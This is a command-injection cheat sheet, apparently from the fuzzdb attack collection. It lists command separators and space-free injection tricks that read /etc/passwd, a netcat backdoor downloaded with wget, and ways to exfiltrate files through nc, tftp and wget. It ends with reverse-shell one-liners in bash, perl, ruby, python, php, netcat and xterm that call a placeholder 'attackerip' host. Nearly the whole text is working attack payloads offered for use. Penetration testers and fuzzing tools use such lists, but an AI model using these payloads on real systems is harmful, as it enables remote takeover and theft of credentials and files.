fuzzdb/attack/os-cmd-execution

Remote Command Exec Cheatsheet

Executing Commands

Various ways of separating Commands:
blah;blah2

blah ^ blah 2

blah && blah2

FAIL || X

blah%0Dblah2%0Dblah3

`blah`

`blah & blah2`

Shell commands without spaces

Using Internal Field Separator (IFS):
Test for cmd injection without spaces:
sleep${IFS:0:1}20

Example IFS netcat backdoor without spaces:
{wget,http://attackerip/nc}
{chmod,+x,./nc}
{./nc,-l,-p,1234,-e,/bin/bash}

$IFS shell variable:
cat$IFS/etc/passwd
increment the first +1 to retreive the entire file, line by line
cat$IFS/etc/passwd|tail$IFS-n+1|head$IFS-n+1

Shell Variables:
CMD=$'cat\x20/etc/passwd';$CMD

shell variable, increment through file one line at a time:
increment the first +1 to retreive the entire file, line by line
SP=$'\x20';cat$SP/etc/passwd|tail$SP-n+1|head$SP-n+1

Exfiltrating Files / Data

FTP
Make a new text file, and echo and then redirect to FTP

NC
'nc -e /bin/sh'

NC
'echo /etc/passwd | nc host port'

TFTP
'echo put /etc/passwd | tftp host'

WGET:
'wget --post-file /etc/passwd'

One-Liner Reverse Shells

On the listener
$ nc -l -p 1234 -vvv'

On the remote host...

Bash:
$ bash -i >& /dev/tcp/attackerip/1234 0>&1

$ exec 5<>/dev/tcp/attackerip/1234
$ cat <&5 | while read line; do $line 2>&5 >&5; done

Perl
$ perl -e 'use Socket;$i="attackerip";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl for Windows target perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby
$ ruby -rsocket -e'f=TCPSocket.open("attackerip",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Python
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
$ php -r '$sock=fsockopen("attackerip",1234);exec("/bin/sh -i <&3 >&3 2>&3");' (Assumes TCP uses file descriptor 3. It it doesn't work, try 4,5, or 6)

Netcat
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip 1234 >/tmp/f

Bash
bash -i >& /dev/tcp/attackerip/1234 0>&1

XTERM
To catch incoming xterm, start an open X Server on your system (:1 - which listens on TCP port 6001) with Xnest:

Xnest :1
Authorize the target IP's connection to you:

Run this OUTSIDE the Xnest:
xterm -display 127.0.0.1:1

Run this INSIDE the spawned xterm on the open X Server
xhost +targetip

Then on the target, assuming that xterm is installed, connect back to the open X Server on your system:
xterm -display attackerip:1
or
DISPLAY=attackerip:0 xterm
It will try to connect back to you, attackerip, on TCP port 6001.

If the xterm path is not within the PATH environment variable, you need to specify its filepath. Solaris path example:
/usr/openwin/bin/xterm -display attackerip:1

More docs: /docs/attack-docs/remote-cmd-exfiltration/